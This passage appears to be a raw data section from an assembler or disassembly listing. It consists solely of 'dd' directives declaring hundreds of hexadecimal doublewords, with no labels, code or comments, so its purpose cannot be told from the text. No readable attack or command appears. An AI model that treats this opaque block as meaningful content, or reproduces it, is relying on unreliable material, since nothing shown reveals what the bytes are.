		dd 0C0DD5AE0h, 4FE90AE3h, 0ED859080h, 3F3751B5h, 0D2B10C01h
		dd 616BE329h, 3F1CFE1Fh, 5C1746A2h, 515D2120h, 52570034h
		dd 1FA60168h, 0D15A1EF2h, 0ABE882EAh, 60291349h, 1F2E1C50h
		dd 9F31626Ah, 0D38BF95Dh, 18825E73h, 5552281Ah,	0A1316BEDh
		dd 0AB80A64Fh, 0B20A69C3h, 0D6975931h, 32E9E3C2h, 9BB8B301h
		dd 3550223Eh, 71A70F4h,	2F852503h, 0A0A1AEDAh, 2138CC39h
		dd 0ED102145h, 0D5890296h, 0DE971F6Ch, 0BF573402h, 0EB92BBB2h
		dd 2218A3CAh, 0B6C7B179h
		dd 1084060Bh, 2007FE29h, 15A0208h, 567B68CFh, 89718FFh
		dd 0A239F619h, 3DAD0597h, 370FCEB8h, 24303E5Eh,	7630A944h
		dd 0FB6842CDh, 5E941A20h, 0E7F8F875h, 99F150E5h, 21E3E23Bh
		dd 0D128963Ah, 2E58C46Dh, 0CBABC535h, 2D680AA4h, 38BC5A51h
		dd 0C4C856Ch, 12B1C1E9h, 9CA4802Bh, 6D7CED2Fh, 18CA1C34h
		dd 212F8FBEh, 272A1FD2h, 0E4DE3811h, 3092B896h,	22618A80h
		dd 84151728h, 0F024449Fh, 695194B3h, 0DF8789F7h, 2EEEBD0Bh
		dd 6732FA7Ch, 72D10F21h, 29F62F60h, 5B0E2229h, 0A50D0492h
		dd 2DCFCCA1h, 25857697h, 729636DAh, 58775452h, 23A9CD42h
		dd 22CA9C50h, 862AEC49h, 1E98A4h, 0C780CF28h, 0D7F65932h
		dd 1B016813h, 0B450C830h, 0C48007C2h, 99BB647h,	0EF0CED5Ch
		dd 3EF73881h, 0B94BDBE9h, 13F681C2h, 0A33F612Bh, 0FFC4857h
		dd 0D285F3CCh, 6AF4E85h, 1C41D94Eh, 78142303h, 4ECB29CAh
		dd 0A08C962Ah, 46482073h, 0FA20C6Eh, 0AF70C58h,	0A90E0D12h
		dd 33F005FCh, 0CD43C19Ah, 0FDC13F59h, 448E488Fh, 97E5B4B2h
		dd 0C97EAC68h, 0BFF930A1h, 9763160Ch, 27FCE816h, 1A455408h
		dd 0A802145Eh, 0BAF50C9Ah, 0F74B680Fh, 880BD2D7h, 0EE41BD56h
		dd 34A1F704h, 0F680AB10h, 0F13002B4h, 151C685Ah, 8207ECCh
		dd 39595CE8h, 0C24AEB07h, 0B8B7C44Bh, 1B5E25DEh, 0D00D51D5h
		dd 91AF9D44h, 0FB79E99Fh, 0FCB52E1Ch, 2D23F82Dh, 0B7F4A5F1h
		dd 0A4B970h, 0D14E8E7Bh, 8FBF57E9h, 3EC0161Dh, 2B474BD3h
		dd 0FF294366h, 0BE53822h, 60EE8102h, 126B9A7Ch,	0BF5EF509h
		dd 651DA760h, 28166021h, 59672D4Ah, 7ABCA95h, 0F3965D08h
		dd 2F05B7D8h, 0B1D1E0D3h, 0C180C602h, 62CB28E5h, 0EF094336h
		dd 0CABB0E0h, 0B7681583h, 0B50F6407h, 7A435394h, 0C098F780h
		dd 0FE3C07EFh, 28FC72C7h, 255BFD38h, 0F68298E8h, 26DBE6D8h
		dd 0A74F0EE9h, 722296D2h, 6C9EB5h, 7F7CCEBEh, 8206BD18h
		dd 296F54FBh, 0D27695F6h, 5D8813Bh, 58B676C7h, 20846E73h
		dd 515E027Dh, 0FA87815Ah, 0E9250203h, 330F3C2Ah, 8299B788h
		dd 0BF380E80h, 70BFE5DFh, 0AA9AFE57h, 1F7E4156h, 2B84612Ah
		dd 1B202AA7h, 7B50BABFh, 3A49049h, 19B0129Ch, 0A9A416E9h
		dd 106648F8h, 0E75A7A23h, 0FE8B5B0Fh, 81D77F2Ch, 582B1705h
		dd 94122B4Ch, 69969EFEh, 0F5E27DCEh, 5A7C2657h,	0E9551382h
		dd 0EC36C5F9h, 5EEED63Dh, 0E469411Ah, 7C2CE90Dh, 0EB31155Ch
		dd 5CA4DD4Eh, 237CC028h, 0B471F300h, 0DD31FD44h, 418E905Bh
		dd 28E26CB3h, 6E25A9F7h, 0BD6073AAh, 166B8ED8h,	0CCB4A545h
		dd 1B5C4C2h, 58497A68h,	0A84197FEh, 745A0A2Ah, 7A70AD97h
		dd 40A7681Ch, 8C3B7725h, 0B90E5712h, 0D32C568Ah, 2FC94361h
		dd 5C67702h, 7D593D13h,	47506782h, 3D65780Bh, 0C514C330h
		dd 68C2AAA7h, 0AEC64EA9h, 0E912E0E6h, 6DBE17ECh, 2C5A9283h
		dd 9F07EEA9h, 0B4221D7Fh, 0BA69D0F4h, 4998183Dh, 4159BBF4h
		dd 306801A7h, 5F4C7459h, 91CEA8F0h, 0C55BBEB9h,	0C461EBDAh
		dd 496BF2AFh, 0CB78020Ch, 1360739Fh, 30C4D28Bh,	7E626654h
		dd 0E85709E4h, 4C18CBAAh, 0CD1D2426h, 36EA0CE2h, 0B9163F18h
		dd 0DE0862BDh, 0E18913FEh, 3C65490Ch, 1F8F30DFh, 541A68ADh
		dd 400C843Ch, 0C34A2902h, 0FBF583FCh, 0E912FACAh, 50B2C031h
		dd 21F0D0B0h, 81A6465Ch, 74164392h, 53354331h, 4FBCCB2Eh
		dd 0EF10AEE3h, 5E04872h, 5EDF3A50h, 0BFCC6084h,	3F2709F7h
		dd 6A03718Fh, 1CD03BD9h, 0D098FE29h, 68580883h,	0AB770504h
		dd 0F0820140h, 3289D7A1h, 78773AF5h, 0EEA39737h, 6B03E832h
		dd 453943F2h, 0BAE2B00Ah, 4E153E72h, 0AC23C202h, 8CD5AA09h
		dd 11DD204h, 297F5805h,	57B850F7h, 0BA93EF08h, 0AC4A6BCAh
		dd 62AED375h, 0F3575AECh, 0FF78A5B5h, 0DF4152B0h, 20BD2F44h
		dd 859CA0D7h, 6A83F240h, 60CC6C5h, 497A3A56h, 584ABEB0h
		dd 0ED4ACDB8h, 5B52059Fh, 0B18161ECh, 0A62D336Ch, 8A4DEE2Ch
		dd 2A33C788h, 0E42C73C1h, 40E798E2h, 0C32F88B4h, 0F811DA58h
		dd 2723BE54h, 0E9851647h, 0DE8BB26h, 8B65283h, 25C443D9h
		dd 6C14D94Fh, 0E9F45E18h, 5D0B01F7h, 0AA685844h, 418A7B07h
		dd 0E9C3B442h, 475AE680h, 8925C2A1h, 0D37DE242h, 5C14855h
		dd 0C38A337Ah, 0CCA0C5D3h, 0E918B975h, 0E1DB343Ah, 4F731718h
		dd 41CAF001h, 0FE364495h, 5D090FCEh, 94644D9Bh,	96D2F3FEh
		dd 447755C0h, 3EE91303h, 4067FEBCh, 5F960DA2h, 6089C0F9h
		dd 50FD7ED7h, 88960B97h, 96556260h, 1D2D784Eh, 4217E844h
		dd 35C2D83Bh, 0F707F342h, 77C7F910h, 0A954A227h, 13B9CC4Dh
		dd 0BDD3ED8h, 31C2BB92h, 26F82F57h, 2512C567h, 4BE420B8h
		dd 2962A495h, 0F08F10C1h, 39F4AA04h, 815549C3h,	3FCBA83h
		dd 9027FD10h, 5C915A32h, 0C5E2EAF5h, 207FA84Ch,	98B066E3h
		dd 0C5B88673h, 9A3C2F41h, 0A67F3322h, 0E6081EB3h, 4B5EEB3Eh
		dd 95AEE958h, 0E85C1984h, 1F8F856Ah, 7B8E31EAh,	994E3B7Eh
		dd 301C5011h, 0AF90B3F7h, 5E852C4h, 17D20310h, 0A50FCB29h
		dd 420F49DDh, 0DF1A57F9h, 0CA08027Dh, 0EB800083h, 0B40950F1h
		dd 5BE328C9h, 0BC68842Ah, 62DCEE72h, 2F4302B8h,	0CFE9072Dh
		dd 0D9BD0D78h, 7F5C517Ch, 51893CE2h, 9D28C455h,	0FC788462h
		dd 0F6E9D8B4h, 7B6C58E6h, 0D7EAF5C9h, 0E05F5362h, 0B7BB8270h
		dd 35877431h, 0CE36B93h, 54EBE9C2h, 9495E47Fh, 740C8324h
		dd 0D8CE184Dh, 6B410782h, 1002BF6h, 725CD605h, 9253A53h
		dd 9C14DA4h, 23DCD31Eh,	0D0B6296Fh, 0C6BB0992h,	0C0DE36C4h
		dd 0EC3C6F03h, 0E05E7C31h, 29781AAAh, 80D1CDAh,	5B14001Ch
		dd 6413D12Dh, 10AF4532h, 0B84A07B5h, 0B2FAB147h, 993F32Ch
		dd 2B046875h, 2601FB47h, 15CC71Dh, 1C11B409h, 2D8D141Eh
		dd 273C4431h, 7FF1F202h, 497F5458h, 6ED289h, 71070A23h
		dd 7527E90Bh, 3B4B526Eh, 13A7F0F6h, 617E37Ch, 4190A0F4h
		dd 7EF43AE0h, 8C654F9Ah, 595EA79Fh, 13ADD7C8h, 4135F18h
		dd 0E32CC9D9h, 50E4055h, 0FF3B4C16h, 2DF89705h,	9EAC0717h
		dd 0AC982C20h, 1E9A28EEh, 8013CBE0h, 5C5696C3h,	0E9F1E4ECh
		dd 16EA388Ch, 44EB5DB3h, 1F71E519h, 0A22A91CBh,	8405EAAEh
		dd 7680088Ch, 4A6E1054h, 1C68FD57h, 0F2EEA4E9h,	0F205F1A0h
		dd 861EDE1Ch, 0E82FC8E1h, 3390B573h, 19991669h,	7CD8312Fh
		dd 89613E3Ch, 316A0CCCh, 78EA5EAh, 515C21D2h, 45F892BDh
		dd 0F2F201B8h, 26E89086h, 0FE13D853h, 276F33FAh, 0C501129Ch
		dd 15912F75h, 1884CB29h, 5BA1358h, 0BE853511h, 7D48E4DBh
		dd 0F084D95Ch, 20BF1229h, 0B097A4D1h, 1CE89B5Fh, 0E9358730h
		dd 2AC52B9Fh, 85048850h, 5100E71Fh, 26E22B9h, 0CA297409h
		dd 0A0C2FC59h, 82F3B50Bh, 6041FEA5h, 29385018h,	0C9BB5305h
		dd 33C0622Dh, 2D40C7E3h, 87C0545Bh, 89818039h, 25666EF6h
		dd 16555DEBh, 4FD320F3h, 0C85FE970h, 605B4F47h,	86B52C37h
		dd 0C70428FDh, 81D148F9h, 0A46E59BAh, 41192517h, 0E33EC867h
		dd 0AAF2853Eh, 345F12F7h, 328BAF6Ah, 6B60B327h,	0E41E4F35h
		dd 0C7891CB5h, 0B94D5780h, 5C6DE91Fh, 0E5F7D283h, 0C83493AFh
		dd 6D5DE9CCh, 0DE300F6Ah, 24E0095Bh, 88BF209Ch,	459D52D3h
		dd 68D74C66h, 4E0ACA38h, 0AE9D74EBh, 2D2E446Dh,	8B1E6D03h
		dd 1BA949h, 7AC6F792h, 1B0A4C01h, 0CC94CD20h, 0FB537E6Fh
		dd 4A05F440h, 5213528h
		dd 0F61DE62Dh, 41F5F80Dh, 11A0F207h, 1A58098Ch,	0ADF9595Eh
		dd 367905B5h, 159DBEF0h, 912DECECh, 772985B0h, 2AED8120h
		dd 0C268003Dh, 4ABE1806h, 3772C85Fh, 58B0CE5Ah,	703102ACh
		dd 0E2BAE97Dh, 74E2AB5Dh, 0FA4F00D7h, 3070D45h,	57C1807h
		dd 25B07AA6h, 12D0BE56h, 0BF6BEE38h, 14016C13h,	9ED7FE69h
		dd 80995A20h, 281E6EB5h, 747866E8h, 864A41FAh, 0D0BE8195h
		dd 68565137h, 7525430Ch, 0B5B7BB50h, 2DDAE5BBh,	5F4832F0h
		dd 0E8E9E0B0h, 7CB0B771h, 8DAABD6Dh, 2B05CF0Fh,	6ACCEA75h
		dd 694A605Eh, 382F96C6h, 5F83353Bh, 2927A7E3h, 9DEE70E8h
		dd 8587B72h, 257D2666h,	5AA4DD3Ch, 771A9FA6h, 45FF7828h
		dd 38B982ECh, 0A9F6A047h, 0A763DF02h, 52B35D35h, 2CD53A88h
		dd 0B560E695h, 749038D8h, 20487927h, 0B2374169h, 0ED813E60h
		dd 23752FF4h, 8044D4Ah,	0D844FB5Fh, 0BA00CC5Ch,	302F676Ah
		dd 90BAC3F4h, 820BF897h, 51C060EDh, 60C9FC4Ch, 0DAF61C4Bh
		dd 801FC2FEh, 170BE2F2h, 0B07F4CA1h, 0B5D9B0D6h, 27E8F464h
		dd 0E9605A81h, 0CC228A60h, 0BE03DE3Bh, 1711E84Fh, 0E3444E81h
		dd 0D61069C6h, 5DBC58D6h, 13BE012h, 10288F5Ah, 4C09E90Ch
		dd 0D392AED8h, 0BAB4D1F2h, 0A3F33C80h, 0FB0D09BDh, 336BDD89h
		dd 0D1578792h, 81401205h, 60D788F1h, 44F4F82Fh,	4A89D340h
		dd 4BFCA8DFh, 4B7A0D2Ch, 852DFA3Ch, 0C036A0F8h,	2119BD1Ah
		dd 0BA0405DEh, 2227E4BCh, 0AA4EC2A8h, 9CA8E00h,	2E2D9A63h
		dd 8B38FCE9h, 0E4FA7C31h, 3CEAE3DFh, 5ED57D20h,	0AE91135Fh
		dd 80AB9684h, 68575BE2h, 1826012Fh, 5A2A2D6Fh, 1D54E811h
		dd 13D86770h, 7868D40Ch, 27348071h, 7230A12Ch, 3B2E3900h
		dd 4EC2E975h, 0DECAF9CFh, 0BDE6FDCAh, 3C2FEA81h, 4BED581Dh
		dd 2D01003Ah, 26BE46CAh, 154A3DF4h, 1A93CAF2h, 6DDD3CD5h
		dd 6F5627B5h, 0A1A10E44h, 0E0DCF92Bh, 9D14E952h, 0A7AC4907h
		dd 0B050903Bh, 227EB669h, 6EC0D94Fh, 0F535DBFh,	0FA89265Ch
		dd 0AB61F189h, 3FF86166h, 60D92DE1h, 96A38A20h,	53F2E5A5h
		dd 10DAF685h, 5800E3EDh, 218DF581h, 58BF4220h, 0BB6A22E4h
		dd 3092C504h, 0DC92540Dh, 5F0883EDh, 70B5EDE9h,	53255597h
		dd 0DF9CA93Ch, 6950C649h, 66E069E4h, 7AC9B653h,	4F9424E0h
		dd 0E9039C06h, 72D8B34h, 0DE7EBEF2h, 0C8B2B27Fh, 89A91257h
		dd 5F11A9ADh, 0C5A65FC5h, 856941A5h, 5001C4C1h,	48F34057h
		dd 5F90870Ah, 47AB0830h, 0B09A35E2h, 3B99313Eh,	6EFBC3BDh
		dd 12B04B21h, 3D4B8004h, 287B5B0Bh, 9997D2E0h, 6DACD7CAh
		dd 23542D91h, 0D6765A94h, 0AAD34AE8h, 0B0A1F357h, 5802B1C1h
		dd 0E59FEC58h, 88A602h,	2EDE6303h, 9BB7C229h, 40FAC3DDh
		dd 9C5F1038h, 74E98472h, 0DC13A5CAh, 66973632h,	817B735Ch
		dd 0C1A52B2Dh, 0BD0B7D30h, 250C0318h, 3660969Eh, 0B06A554Bh
		dd 3B30F0E4h, 0E7034EBAh, 699C1F2Eh, 6F9DC7E0h,	0E9405604h
		dd 0F4F35E9Fh, 68823059h, 945565BCh, 0BC585CB7h, 648016B4h
		dd 0CED4AFC2h, 204A8614h, 186812BAh, 2B474434h,	4F4BB3DEh
		dd 35B132E8h, 0A0B900BDh, 75F2506h, 18805262h, 9C57395h
		dd 55123164h, 4C7D3EA9h, 88C46201h, 0A80EBFC1h,	13EB1358h
		dd 92FFE9F2h, 5A5238BDh, 51E8129Bh, 4018155Bh, 0E90D862Dh
		dd 0B4F65A12h, 0CD39876Ah, 1F6F5881h, 0CAF97CB0h, 0DC5CFC82h
		dd 0E24F515Dh, 6816CDECh, 29911F9h, 979CE26Bh, 6882CEA2h
		dd 81716434h, 59F9C989h, 1ECBCF52h, 86587424h, 6EF1549Fh
		dd 532B7C04h, 0FE4D6C2h, 395C4A0Bh, 1E5A5427h, 0D4A63FEBh
		dd 355889A4h, 5EDCE177h, 2109CC6Eh, 0EB758A4Fh,	91A006E8h
		dd 4C006E7Ch, 47FFEF83h, 0A81A0C68h, 99A123F4h,	68554045h
		dd 98B56A03h, 1547282h,	0CBD0B45h, 6F0D6837h, 7E595788h
		dd 4C801205h, 10FAA881h, 3C58BBBCh, 97EA3077h, 0E003F665h
		dd 622F3125h, 7F5D0A0h,	2717E1EBh, 0BD006F29h, 66728426h
		dd 8CE009BFh, 77283E06h, 485FF1h, 3275BFF1h, 0FA9F2357h
		dd 358C1CB7h, 17CBAC14h, 0DE90A8ECh, 6C534A53h,	22EEB717h
		dd 0E67C9F0Dh, 64175D27h, 61FB1416h, 96B4A82Bh,	0DBCEE9Bh
		dd 81791899h, 4F99B959h, 0F02E5C3Ah, 9A9508B6h,	814EF7E3h
		dd 0BB531680h, 2D4D44BFh, 0B4C485EDh, 77CDA2F0h, 6BADEA52h
		dd 0C30268F4h, 0C0713076h, 2520FE69h, 857FB5D0h, 89CBD8F0h
		dd 0ECE0D312h, 0B3A6A4C1h, 0BB63D733h, 486230D8h, 17DE893Eh
		dd 0EEB403BEh, 3B4541E0h, 0E3418981h, 68176C36h, 0DEF0BCF3h
		dd 99148D09h, 0B02B506Eh, 6C04AADCh, 0CF872DD2h, 7849F097h
		dd 4C04786Bh, 8B26A5D7h, 0E91202A3h, 0EE84605h,	7C601F8Dh
		dd 2516EF18h, 0B5394C04h, 0A693563Bh, 17C70249h, 8FE0D634h
		dd 1802E31h, 5DF19DCFh,	0E99EE072h, 0E42F5AD8h,	2128A20h
		dd 130C6B5Dh, 0FF71767h, 0E74591C5h, 0F3CD977Ch, 4AE4AC0h
		dd 0A32294B7h, 57D28941h, 213E1D40h, 31EC8080h,	0C95088A3h
		dd 0CEAD023Dh, 371E059Dh, 0C04B5EB9h, 96CB8185h, 4259572Ch
		dd 0FBA2C313h, 16D86F10h, 94E9C830h, 51CAC97h, 4F6D686Fh
		dd 0D41040A3h, 9256600Ah, 0EC33A245h, 7FD21DF3h, 0C10193FEh
		dd 43F280Fh, 41510AEFh,	18EC03A5h, 0F1B030C6h, 4A0408EFh
		dd 40B56832h, 41559DD8h, 506B303Ah, 801FB47Bh, 375201C4h
		dd 0BB7B2B0h, 30E3B22Ch, 7409FC82h, 0D724A671h,	9F377B00h
		dd 39EAC116h, 0EB9E8106h, 40925Eh, 231DF0A2h, 0E325E9C0h
		dd 2435E622h, 9452C3ECh, 8412BA51h, 0B25A7220h,	4AB6C6FDh
		dd 101CF654h, 2BD43B50h, 83F1B425h, 7DD4FE8Bh, 8B135815h
		dd 0FB0D74BBh, 2502F422h, 194EC255h, 4F051BAFh,	94B95FAEh
		dd 506B203h, 0C27357Ch,	715B80Bh, 0B0D8293Ah, 22D5296Ah
		dd 935E77E9h, 610A2281h, 0E3BBC004h, 3E4C9F29h,	34583BE3h
		dd 0B1F40F7h, 5E5AD785h, 1E65B400h, 0BA011702h,	5F0881B1h
		dd 41FC6C60h, 0C848AC67h, 0DA2F2BCAh, 5CED1240h, 5F9BED14h
		dd 575A58D2h, 0F7011BF1h, 2FA868F1h, 8B6636Ah, 0E8B71000h
		dd 0FE01EF80h, 9C2CF8CFh, 0F1B50E89h, 8759EB05h, 0A05DC5A7h
		dd 52905E68h, 0A2810530h, 952E82B0h, 0D2385281h, 210A3152h
		dd 0EC080423h, 33BDB150h, 0AF8C1304h, 12BA5384h, 0E58D2C8h
		dd 258E1475h, 3DA5F709h, 0DAADD4D9h, 654D7538h,	7DB85A01h
		dd 89076226h, 0A7F631CAh, 746DA22Dh, 70E7548Ah,	24FEEC1h
		dd 0AA5037ECh, 0B24A6030h, 29B41B1Dh, 0E925D3E2h, 886F407Dh
		dd 30581CE5h, 0DDF6C5C5h, 0F31DEA66h, 0DE9D082h, 62925786h
		dd 0F1499B55h, 0AC62D07Eh, 7EF2F65Ah, 1C1EDA34h, 8229E7FAh
		dd 0F16BB3E9h, 17D72762h, 0AFD62DF6h, 7A6A5CF2h, 0AC7687Dh
		dd 3DC3A534h, 0EB057093h, 0E8283D2Dh, 0D86E5B04h, 0A9588065h
		dd 9A022791h, 5667CB2Dh, 53E2D56Ch, 12D3070Bh, 0E34EC010h
		dd 7F8113E5h, 3FEA8661h, 6D1BE00h, 0D803A828h, 21345403h
		dd 0D8F28158h, 0B0731A2Dh, 0E9A96BEh, 0BEB505Bh, 10E2C1E8h
		dd 64912B12h, 5299C901h, 39202DCBh, 92F9A16h, 655A68C3h
		dd 72A71C71h, 4A9BFA9Dh, 0EE1C345Fh, 0BF29B2A0h, 99E90048h
		dd 98F8874Ah, 4004AFD7h, 920CEE6Ah, 90A7EAAh, 0F552CAF5h
		dd 917F4A7h, 0AF085F53h, 15A0407h, 2C8AEB7Ch, 0CDCE0F3Ah
		dd 0CCE92E9Eh, 5881684Ch, 4D7E6368h, 8210E1CEh,	69E95D1Dh
		dd 7BA45D32h, 0B2CCEAF8h
		dd 71562F68h, 0E971265Eh, 0F0E03C89h, 0C1951E46h, 0EFA2C8Ch
		dd 27316862h, 25BD67DDh, 7E12E854h, 0D190EBBDh,	0D29ADF20h
		dd 31DEEB04h, 81EF7254h, 0E6F32Eh, 5BE568ADh, 665F31Dh
		dd 495C7DF0h, 5BD84058h, 9074F09Fh, 2F577CDEh, 4845E167h
		dd 0ADABEE03h, 12E99135h, 0BA970E7Bh, 3B104914h, 715425B6h
		dd 7CE96211h, 0E7BF60E8h, 51502714h, 0F5202DDh,	0FD01DAD1h
		dd 4AFF566Ah, 0AC230AA4h, 55002A10h, 0C46B69BDh, 0F5628110h
		dd 7E3B8EF4h, 159053Bh,	7BACB6D8h, 2E4F1813h, 0B00145E8h
		dd 0B80F3C4Dh, 4C39D027h, 2B3314Ch, 1410BF57h, 21D985A3h
		dd 0F03AB7B5h, 4F5A1678h, 6A9143F9h, 0F25B2817h, 42A48A2h
		dd 1F58AED0h, 27309ECh,	311C05F0h, 0C2D53A59h, 41515F89h
		dd 0F316FF5Ah, 0C2A84BA9h, 3779E8B0h, 0E91AD305h, 0DDBFE5C7h
		dd 9A8613Dh, 0FFE4055Ah, 151E26C6h, 0E682CDE9h,	55175807h
		dd 0D282C92Fh, 6EFEA70Fh, 0E3B0F76Bh, 1EC752DCh, 0F177B8B0h
		dd 9CC268DBh, 0F112DA3h, 4800B2F8h, 66A01405h, 0B6E2E994h
		dd 0DBC38119h, 217D4706h, 0E1F27A0h, 40306996h,	778F2540h
		dd 5EEF9095h, 2E91E173h, 81C004ADh, 8268E2E6h, 34C60CC0h
		dd 0C1215458h, 0AEE9ECECh, 782D20BFh, 56E57105h, 38C4F229h
		dd 3EC0816h, 3F1BA5B1h,	9D1009F3h, 0B4DD50CAh, 386F9E41h
		dd 725FC26Fh, 4DDE83F8h, 0D810353Fh, 2279EC80h,	9B7515Dh
		dd 66459A68h, 3CD22764h, 0FC5B31D4h, 0AFB5E904h, 9AD8C817h
		dd 0B7B27568h, 0E842DB98h, 90E0D180h, 406C0000h, 0CB811DC7h
		dd 36141EBDh, 7C44339h,	17CD6AEAh, 22B8E3D0h, 0E9661255h
		dd 19262058h, 5024FE5Eh, 8702C043h, 8A77Fh, 3A2A39ABh
		dd 0C1722197h, 6E8204E5h, 0B6068C59h, 0A9ADFB43h, 4AF2D25Bh
		dd 0D4A71F88h, 34BC09F7h, 0AFC415DCh, 0D856F4ABh, 0C43F1A41h
		dd 0CB04FB59h, 4C1B6EA7h, 68218492h, 0AA28595Bh, 8D54FC97h
		dd 87002390h, 48FA2FAEh, 4B715E09h, 5BC5F46Fh, 9790D997h
		dd 8941E45Eh, 64EB944Eh, 2CD98CAh, 97307440h, 0B37F7126h
		dd 4F406812h, 4510D5E3h, 0D38817B2h, 12310EFEh,	0AB5BDDC4h
		dd 0C9BD2284h, 0AD05BA4Bh, 32EE1A5Ah, 30DD1C7Eh, 5C5E6877h
		dd 5DC9023Dh, 5DEA4A7Dh, 73362CA2h, 3AED8100h, 11473046h
		dd 39227B0Ch, 0C5296C1Fh, 0A00851B9h, 5813140Ch, 920B525Ah
		dd 6D6467h, 2A656850h, 5585729h, 34F1D717h, 8A73C8ECh
		dd 0BEFA1A62h, 87F5C23Fh, 0D6890F58h, 3EEE6D3h,	8B7AC61Bh
		dd 2ED934Ch, 9B168B7h, 0E80BAECCh, 0FC280B39h, 54E905C9h
		dd 957A225h, 420478Fh, 0EA132EDFh, 0F090CA0Fh, 0CF28EA4Bh
		dd 620E09B8h, 1596A15h,	0E2581AB2h, 6BB60EB2h, 12200001h
		dd 0B861B25Ch, 7CDC0248h, 0C3E94C96h, 0F387FDF4h, 28A4383Ah
		dd 0FD1584D0h, 0C2294CDAh, 73BAC04Bh, 0BC980BE5h, 6008ECD0h
		dd 5432090Ch, 2865952Fh, 12C4F1A7h, 55DFEB52h, 26E8E909h
		dd 0A29C4A74h, 0BF4879AFh, 34823E14h, 7CB4E93Fh, 85A2D72Ch
		dd 56FE901Eh, 0DF07B951h, 492B082Ch, 190BFC1Ah,	0C2199243h
		dd 0A317C042h, 6246B7D0h, 1B01997h, 8010F373h, 0E8C1077Eh
		dd 6841310Bh, 4F552C4Bh, 0A796AAE2h, 0AA688520h, 0EF5112FFh
		dd 832DF839h, 0C432FE97h, 0F9605E57h, 0D3254A5Fh, 7EB599AEh
		dd 0BA9C3998h, 0CA5C4F8Ah, 0B0501236h, 825564BAh, 6572DD2Eh
		dd 51322109h, 6428FD0Ch, 3E682508h, 0E7598AE9h,	0C0630FC2h
		dd 0E8C35CE0h, 0B62F2402h, 880C17B2h, 5A9681C6h, 0D32CFC28h
		dd 0E3AFE912h, 73011EA4h, 0C9075CC0h, 0B874B112h, 0B7530040h
		dd 80CFFE43h, 68D60AEFh, 8F5F104Fh, 0EEA08DB6h,	5AF7301Ah
		dd 51DFF600h, 0B59EB252h, 0CBD5E03Eh, 7B02EF72h, 7EC14CC7h
		dd 0E1FCE58Eh, 7545D6C4h, 5ECC082h, 788D8053h, 9C306AB7h
		dd 107EA4F6h, 0D7257579h, 5FE73A17h, 442AB9FAh,	2F20BF74h
		dd 565500F7h, 6A7D98BEh, 82B74E5Ch, 5360F26Ch, 8F582DABh
		dd 50EED69Fh, 4D621768h, 79EDC57h, 0FB476253h, 0C58399F5h
		dd 607C498h, 0B5255102h, 0BD77F838h, 7D3F42F2h,	170B5C30h
		dd 0C9200C7Eh, 5E620983h, 0B62814Eh, 0C050025Eh, 0A917601Fh
		dd 0F83BB832h, 37A15A23h, 2FE3E061h, 0E530F021h, 2F83F1F7h
		dd 6841656Eh, 805160C0h, 283E42B8h, 0C5B1B4CCh,	335FEFC0h
		dd 4F1A7F7Ch, 0BF9B85D6h, 0A82A8E69h, 64E982FDh, 7F4BFAE1h
		dd 7CF6E6C6h, 96F52571h, 5C4FDE46h, 0CB2B78F1h,	2A947F12h
		dd 32CBD02Dh, 0E1D9C518h, 557E081h, 0CE81F4D2h,	233F4405h
		dd 17C25162h, 0D831026Bh, 404E3E60h, 0D954F126h, 0C23AD602h
		dd 7091000Ah, 0E2EC0DE4h, 691E8A01h, 0EC20E929h, 694B8C57h
		dd 0D4ED3F5Dh, 0F8C9C3DAh, 0B287E975h, 415D1DEAh, 0FFB07551h
		dd 73135180h, 0A09EC10h, 0F3A1E9C8h, 0E52FB8B9h, 0D51229D4h
		dd 215E08h, 231FCA81h, 94C72875h, 15D42A16h, 2B31C9BFh
		dd 1281786h, 6259121Ah,	2AAF2AE9h, 188670E8h, 0F3B76747h
		dd 0A8A91389h, 0B26E48A2h, 7895457h, 0A47D3C64h, 0E1D81C7h
		dd 3EC11566h, 0D4072383h, 0C0729478h, 0D2EA8077h, 28BF06C1h
		dd 53005AD0h, 864C17B3h, 0DCB12527h, 0BAA403Ch,	2EF60E06h
		dd 643384BFh, 0E8F3B1EAh, 34BE4E16h, 0E5A90A89h, 0B2802FE6h
		dd 389C3215h, 0DE4C3135h, 6F406104h, 2E0C100h, 7A1F7E35h
		dd 234A43C4h, 5CB7C7Dh,	99F47302h, 0A84C1EA4h, 5509CB17h
		dd 47AEC6A2h, 0E200F71Ah, 3D5928C4h, 0C67D567Bh, 585EF20Bh
		dd 0A034F44Ah, 2EA24D0h, 7C1B0022h, 69E94076h, 5A2CF740h
		dd 7347E711h, 2C15AC4Ch, 8B927FEBh, 2678BFEh, 53685954h
		dd 81D7CC48h, 49285B12h, 0B30ED5Ah, 13EEC4E9h, 0A42DC8A7h
		dd 0E5017E55h, 0D8CB046Eh, 0E380039Ah, 0C1F3987Ah, 0F931EDD0h
		dd 0D5EDE57Bh, 3DB46B57h, 59E898F3h, 39320AC3h,	0AC88C12h
		dd 0A65FE9BCh, 553EBBF3h, 0D20C4EFAh, 99D744DBh, 0DB50013Ch
		dd 0C4CFB3E9h, 0BB54E487h, 2DF6A4Bh, 55207301h,	6CF6A102h
		dd 3B1A38C1h, 58F84785h, 0ED7569Fh, 0F805AE1Fh,	464845Bh
		dd 13B504A7h, 0AFBB53EBh, 75BDBF21h, 5B31E76Bh,	0D058EAF8h
		dd 530D0177h, 0E9DF313Dh, 3AB43533h, 65126359h,	8BFD5801h
		dd 5E077CE2h, 0E8DD490Bh, 91568F63h, 95AD022Eh,	787FF92Fh
		dd 0B1DA2446h, 3B8E5847h, 0FF4ADD82h, 0E869375Ch, 9731E95Ah
		dd 0C533CC8Fh, 8B7FE8EBh, 55AC624Eh, 0DB0BDC18h, 57850F12h
		dd 0BD6868C0h, 7471C444h, 0BEE12FAh, 127FF5B4h,	593F7152h
		dd 0F3817E5Ch, 0EA3CEC14h, 40C952DEh, 5B665964h, 0D8E0602Ch
		dd 306F6818h, 0B15FC87Bh, 99640990h, 87A2CC68h,	0CB545B81h
		dd 59669609h, 7543036Bh, 0BADB7E6Fh, 0B529ED2Eh, 0E16B48CBh
		dd 0AC83D7A5h, 0FD791937h, 4E6FD62Fh, 0CC97C35Dh, 3E34E9B5h
		dd 13BA27AFh, 6058A587h, 0B09CFEDh, 183517Bh, 57E5E98Eh
		dd 199CA851h, 8921C311h, 0FE308B15h, 3F0559F0h,	6FE9AAB4h
		dd 0C75CD93Dh, 0A2B34E90h, 8690519Eh, 7082BE5Fh, 333B12C7h
		dd 9A1A868h, 0C05DEB31h, 2FBFB1CDh, 147EA1EAh, 0C816100Bh
		dd 0D67A97E1h, 52A34B4Dh, 0D8CBBF7Bh, 0D1E91A93h, 0AA827965h
